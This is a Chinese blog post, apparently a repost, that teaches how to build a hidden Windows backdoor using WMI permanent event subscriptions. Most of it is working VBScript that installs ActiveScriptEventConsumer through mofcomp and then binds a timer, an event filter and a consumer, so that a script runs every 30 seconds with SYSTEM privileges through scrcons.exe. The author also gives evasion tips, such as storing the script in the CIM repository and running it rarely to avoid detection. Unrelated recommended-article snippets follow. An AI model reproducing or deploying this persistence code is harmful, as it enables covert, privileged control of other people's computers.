利用WMI打造完美三无后门(scrcons.exe)

2023-11-15

Welcome!各位ScriptKid,欢迎来到脚本世界。 

今天忙了一天,比较累。不废话那么多了,切入正题。 

这个“三无”后门的核心就是WMI中的永久事件消费者ActiveScriptEventConsumer(以下简称ASEC)。WMI中有许多这 类的事件消费者,简单的来说,当与其绑定的事件到达时,消费者就会被触发执行预先定义好的功能。例如可以用来执行二进制程序的 CommandLineEventConsumer等等 

ASEC是WMI中的一个标准永久事件消费者。它的作用是当与其绑定的一个事件到达时,可以执行一段预先设定好的JS/VBS脚本。 

先来看一下其原型: 

复制代码
代码如下:

class ActiveScriptEventConsumer : __EventConsumer 

uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消费者的CreatorSID 只读 
uint32 KillTimeout = 0; //脚本允许被执行的时间 默认为0,脚本不会被终止 
string MachineName; 
uint32 MaximumQueueSize; 
string Name; //自定义的事件消费者的名字。 
string ScriptingEngine; //用于解释脚本的脚本引擎。VBScript或者JScript 
string ScriptFileName; //如果你想从一个文件里面读取想执行的脚本的话,写上这里吧。 
string ScriptText; //用于执行的脚本代码。与ScriptFileName不共戴天。有你没我,有我没你 
}; 

ASEC的安装 

对于XP以后的系统来说,ASEC已经默认安装到了root\subscription名称空间。我们可以直接调用。2000自带有ASEC的 mof文件,但是没有默认安装,需要我们自己安装。另外由于大部分的事件都是在root\cimv2里产生,所以如果你想直接捕获一些系统事件作为触发器 的话,还得在其他的名称空间中安装ASEC。来看一下在2000/XP/Vista下安装ASEC到root\cimv2的代码。 

复制代码
代码如下:

Function InstallASECForWin2K ’安装ASEC For Windows 2000’ 
Dim ASECPath2K 
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") 
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False) 
MofContent = MofFile.Readall 
MofFile.Close 
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替换默认的名称空间 
TempMofFile=ASECPath2K&"Temp.mof" 
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) 
TempMof.Write MofContent 
TempMof.close 
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE 
FSO.DeleteFile(TempMofFile) 
ASECStatus = "Ready" 
’Wscript.Echo "ASECForWin2K Install OK!" 
End Function 
Function InstallASECForWinXP ’安装ASEC For Windows XP’ 
Dim ASECPathXP 
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") 
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接运行安装即可 
ASECStatus = "Ready" 
’Wscript.Echo "ASECForWinXP Install OK!" 
End Function 
Function InstallASECForVista ’安装ASEC For Windows Vista’ 
Dim ASECPath2K 
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") 
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof") 
Set MofFile = f.OpenAsTextStream(1,-2) 
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False) 
MofContent = MofFile.Readall 
MofFile.Close 
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要删除autorecover,否则安装出错
TempMofFile=ASECPath2K&"Temp.mof" 
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) 
TempMof.Write MofContent 
TempMof.close 
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE 
FSO.DeleteFile(TempMofFile) 
ASECStatus = "Ready" 
’Wscript.Echo "ASECForWinVista Install OK!" 
End Function 

再来看一个绑定事件和ASEC的实例。 


复制代码
代码如下:

Function InstallUpdateableTrojan 
WMILink="winmgmts:\\.\root\cimv2:" //ASEC所在的名称空间 
TrojanName="ScriptKids" //自定义的消费者名字,也就是你的后门的名字 
TrojanRunTimer=30000 //自定义的脚本运行间隔 
strtxt="" //自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被Windows编码后写入CIM存储库 
’配置事件消费者’ 
set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_ 
Asec.name=TrojanName&"_consumer" 
Asec.scriptingengine="vbscript" 
Asec.scripttext=strtxt 
set Asecpath=Asec.put_ 
’配置计时器’ 
set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_ 
WMITimer.timerid=TrojanName&"_WMITimer" 
WMITimer.intervalbetweenevents=TrojanRunTimer 
WMITimer.skipifpassed=false 
WMITimer.put_ 
’配置事件过滤器’ 
set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_ 
EventFilter.name=TrojanName&"_filter" 
EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer""" 
EventFilter.querylanguage="wql" 
set FilterPath=EventFilter.put_ 
’绑定消费者和过滤器’ 
set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_ 
Binds.consumer=Asecpath.path 
Binds.filter=FilterPath.path 
Binds.put_ 
End Function 


以上代码的含义就是当我们自定义的一个计时器事件发生时,会被我们所配置的事件过滤器捕获到,并触发与过滤器绑定的消费者,也就是我们自定义了脚本的ASEC。达到我们每隔30秒执行一次我们自定义的脚本的目的。很简单吧:) 

最后要说的是,我们自定义的脚本运行时,是由系统自带的scrcons.exe作为脚本宿主进行解析,而scrcons.exe是由系统以 SYSTEM权限启动的,也就是说,我们的脚本是以SYSTEM权限执行,并且其所创建的任意进程都会继承SYSTEM权限。美中不足的就是,每当脚本执 行时,会平白多出一个scrcons.exe的系统进程。这也是这个脚本后门目前最容易被发现的一个弱点。不过,当这个脚本24小时才运行一次时,有多少 人会注意到呢?
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

利用WMI打造完美三无后门(scrcons.exe) 的相关文章

随机推荐

  • 一般熟练盲打需要多久_话说。。用五笔打字的筒子们。。你们练了多久才能熟练的打出字啊。。...

    俺一直用的搜狗 但是最近想练习着用五笔 因为搜狗打人名啊什么的真的是挺不方便的 但是练五笔练了几天 感觉字都不会写了 打字之前先在脑子里过一遍这个字怎么写 有的简单的字都要想好几遍才能想明白 渐渐的信心都没了 所以想上来问问用五笔打字的筒子
  • mysql踩坑----case when then用法

    一 踩坑sql UPDATE bz order SET payment code CASE WHEN payment name APPPayPal THEN paypal WHEN payment name AfterpayAfterpay
  • Centos6.5镜像换源

    base name CentOS 6 5 baseurl http mirrors aliyun com centos vault 6 5 os basearch gpgcheck 1 enabled 1 gpgkey http vault
  • c语言编程 scant,TscanCode静态代码扫描软件v2.1

    TscanCode是腾讯静态分析团队开发的一款开源免费的C C 静态分析工具 由于其比较简单实用 准确率较高 并且扫描C C 代码不需要进行编译 对于开发与测试人员从代码层面挖掘问题有着很好的帮助 感兴趣的朋友快来下载试试吧 软件简介 Ts
  • Ruff:物联网+区块链的无限可能不靠炒作

    5月初 Ruff 与施耐德电气正式签订物联网合作协议 两家企业将在未来携手共筑工业物联网 共同推进工业物联网目标的快速实现 6月6日 Ruff 受邀出席 GBLS全球无眠区块链领袖峰会 并在大会上发表关于 区块链的供应链金融 主题演讲 与此
  • JavaScript常用的Hook脚本

    headers hook 当header中包含Authorization时 则插入断点 var code function var org window XMLHttpRequest prototype setRequestHeader w
  • 蓝桥杯-零基础python刷题之路-字符串冒泡排序(包含各个知识点详细记录)

    题中提到冒泡排序 先搞定一下冒泡排序 在找出题目中所需字符串 a 冒泡排序 如字符串 qiao 如果是冒泡排序 需要如下操作 1 iqao 2 iaqo 3 iaoq 4 aioq 冒泡排序走一遍数组 每次将两个字符进行比较 将大的放在后面
  • 2021-09-22

    AR1Int g0 0 0Ip address 192 168 1 1 24Int g0 0 1Ip address 20 20 30 97 30AR2Int g0 0 0Ip address 20 20 30 98 30Int g0 0
  • ThinkPHP5.0完全开发手册——调试模式

    调试模式 ThinkPHP有专门为开发过程而设置的调试模式 开启调试模式后 会牺牲一定的执行效率 但带来的方便和除错功能非常值得 我们强烈建议ThinkPHP开发人员在开发阶段始终开启调试模式 直到正式部署后关闭调试模式 方便及时发现隐患问
  • react框架学习总结(纯干货)

    首先 我先给出我学习react框架的参考教程 以下内容都是我依据此教程的个人总结 react教程 React与JSX function Square props return
  • C语言实现简单加密算法 凯撒密码 RSA算法 简介及实现

    凯撒密码的原理以及实现过程 1 算法介绍 凯撒密码的核心思想就是移位 将明文的每一个字符 在 密码系统所支持字符序列中向右平移N 映射得到新的字符从而实现加密 而解密则相反向左平移N 加密的Key即为N 2 实验测试 加密 解密 3 源代码
  • php代码审计【11】动态函数执行和匿名函数执行

    1 动态函数执行 函数与函数之间的调用 可能会造成的漏洞 缺陷代码 2 匿名函数 Anonymous functions 也叫闭包函数 closures 允许临时创建一个没有指定名称的函数 最经常用作回调函数 ca
  • libtool的作用及应用

    gcc library makefile archive command object 注意 本文为转载 原文也是转载 但是为了尊重他人得劳动成果 我将将转载网址贴出来 libtool常见于autoconf automake 单独用的例子很
  • xss绕过,payload全集

    XSS总结 xss分为三种 反射型xss DOM型XSS及存储型XSS 不同类型的XSS的危害不同 有兴趣的可以观看一下csdn上明智讲的关于XSS攻击及原理 https edu csdn net course detail 8585里面的
  • OMG,学它!java培训讲师面试技巧

    基础 JAVA基础 JAVA集合 JAVA多线程并发 网络 数据结构与算法 框架 Spring SpringMVC MyBatis 设计模式 分布式 负载均衡 Zookeeper Redis MQ kafka 微服务 Netty与RPC S
  • Linux常用的四种压缩命令

    文章目录 一 tar命令 二 gzip命令 三 rar命令 四 zip命令 总结 一 tar命令 语法 tar option file 常用参数 c或 create 建立新的备份文件 f lt 备份文件 gt 或 file lt 备份文件
  • Substance与PBR工作流总结

    关于PBR PBR即基于物理的渲染 是一套尝试基于真实世界光照物理模型的渲染技术合集 使用了一种更符合物理学规律的方式来模拟光线 达到更真实的渲染效果 而且可以直接通过物理参数来直观地达到想要的结果 不用通过拙劣的各种参数调整 物理参数一般
  • uni-app crypto-js DES 加解密 ,支持app , h5,小程序

    crypto js DES 加解密 支持app h5 小程序 第一步 npm install crypto js 可以直接下载示例运行 看控制台打印 下载地址 https ext dcloud net cn plugin id 13351
  • Git GitHub入门2:新建Git repository并提交修改

    选择一个文件夹 执行 git init 命令 we initialize an empty git repository in the current directory 要想使用ls 查看列表 需要换成Windows powershell
  • 利用WMI打造完美三无后门(scrcons.exe)

    Welcome 各位ScriptKid 欢迎来到脚本世界 今天忙了一天 比较累 不废话那么多了 切入正题 这个 三无 后门的核心就是WMI中的永久事件消费者ActiveScriptEventConsumer 以下简称ASEC WMI中有许多